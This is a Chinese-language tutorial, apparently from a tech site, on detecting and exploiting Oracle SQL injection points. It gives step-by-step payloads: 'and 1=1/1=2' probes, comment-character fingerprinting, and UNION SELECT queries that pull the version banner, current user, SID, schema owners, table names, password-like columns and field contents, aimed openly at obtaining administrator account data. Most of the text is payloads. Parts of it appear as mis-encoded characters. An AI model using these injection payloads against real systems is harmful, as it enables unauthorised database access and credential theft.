Oracle注入點(diǎn)信息基本檢測
Oracle注入點(diǎn)信息基本檢測
對于Oracle注入點(diǎn)的檢測比較特殊，不像其它注入點(diǎn)一樣，需要經(jīng)過多個(gè)步驟檢測確認(rèn)注入點(diǎn)所使用的數(shù)據(jù)庫類型是否為Oracle。
Oracle注入點(diǎn)判斷
首先，需要判斷是否為Oracle注入點(diǎn)，可提交如下幾步查詢：
and 1=1
and 1=2
返回不一樣的頁面，則說明存在注入漏洞，繼續(xù)在注入點(diǎn)處提交如下查詢字符：
/*
"/*"是MySQL中的注釋符，返回錯(cuò)誤說明該注入點(diǎn)不是MySQL，繼續(xù)提交如下查詢字符：
--
"--"是Oracle和MSSQL支持的注釋符，如果返回正常，則說明為這兩種數(shù)據(jù)庫類型之一。繼續(xù)提交如下查詢字符：
;
";"是子句查詢標(biāo)識符，Oracle不支持多行查詢，因此如果返回錯(cuò)誤，則說明很可能是Oracle數(shù)據(jù)庫。再提交如下查詢：
and exists(select * from dual)
或
and (select count (*) from user_tables)>0--
dual和user_tables是Oracle中的系統(tǒng)表，如果返回正常頁面，則可以確定是Oracle注入點(diǎn)。
注入點(diǎn)信息判斷
確定注入點(diǎn)類型后，與前面的MySQL注入一樣，先用Order by x猜出字段數(shù)目，再用聯(lián)合查詢union select方法得獲取想要的信息。
最主要的信息是數(shù)據(jù)庫版本，可利用(select banner from sys.v_$version where rownum=1)獲取版本信息，例如：
and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual
獲取當(dāng)前數(shù)據(jù)庫連接用戶名，可執(zhí)行如下查詢：
and 1=2 union select 1,2,3,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),4,5…… from dual
執(zhí)行如下查詢：
and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual
通過查詢?nèi)罩疚募^對路徑，可以判斷操作系統(tǒng)平臺。
另外，要獲取服務(wù)器sid，可執(zhí)行如下查詢：
and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual
利用Oracle系統(tǒng)表爆數(shù)據(jù)庫內(nèi)容
與MySQL一樣，可利用Oracle系統(tǒng)表直接爆出數(shù)據(jù)庫中的所有內(nèi)容。Oracle中存在dual系統(tǒng)表，其中存儲了數(shù)據(jù)庫名、表名、字段名等信息，直接針對此表進(jìn)行注入攻擊可獲得整個(gè)數(shù)據(jù)庫的結(jié)構(gòu)，從而方便查詢到管理員帳號數(shù)據(jù)信息。
爆出庫名
在注入點(diǎn)處提交：
and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual
可查詢爆出中第一個(gè)庫名，然后繼續(xù)查詢提交：
and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>'第一個(gè)庫名'),4,5…… from dual
用同樣的方法，可以查詢出當(dāng)前用戶數(shù)據(jù)庫中的所有數(shù)據(jù)庫庫名。#p#
獲取表名
在注入點(diǎn)處提交：
and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual
可查詢數(shù)據(jù)庫中第一個(gè)表，然后繼續(xù)查詢提交：
and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'第一個(gè)表名'),4,5…… from dual
注意，表名要用大寫或大寫的16進(jìn)制代碼。用同樣的方法，可以查詢出當(dāng)前用戶數(shù)據(jù)庫中的所有表名。
另外，也可以采用與前面MSSQL注入相似的方法，直接包含pass的表名，提交查詢?nèi)缦拢?/p>
and (select column_name from user_tab_columns where column_name like'%25pass%25')>0
如果返回頁面正常的話，則說明當(dāng)前數(shù)據(jù)庫中有包含pass的表名。再提交：
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like'%25pass%25'),4,5…… from dual
即可得到包含pass的表名。
獲取字段名
在注入點(diǎn)處提交：
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and rownum=1),4,5…… from dual
可獲取指定中第一個(gè)字段。然后繼續(xù)查詢提交：
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第1個(gè)字段名' and rownum=1),4,5…… from dual
即可獲取指定表中第二個(gè)字段。用同樣的方法，可以查詢出指定表中的所有字段名。
獲取字段內(nèi)容
在注入點(diǎn)處提交：
and 1=2 union select 1,2,3,字段名,4,5…… from 表名
即可查詢出目標(biāo)表里面的相應(yīng)字段內(nèi)容，以此類推，可以獲取表中的所有字段內(nèi)容。
【編輯推薦】
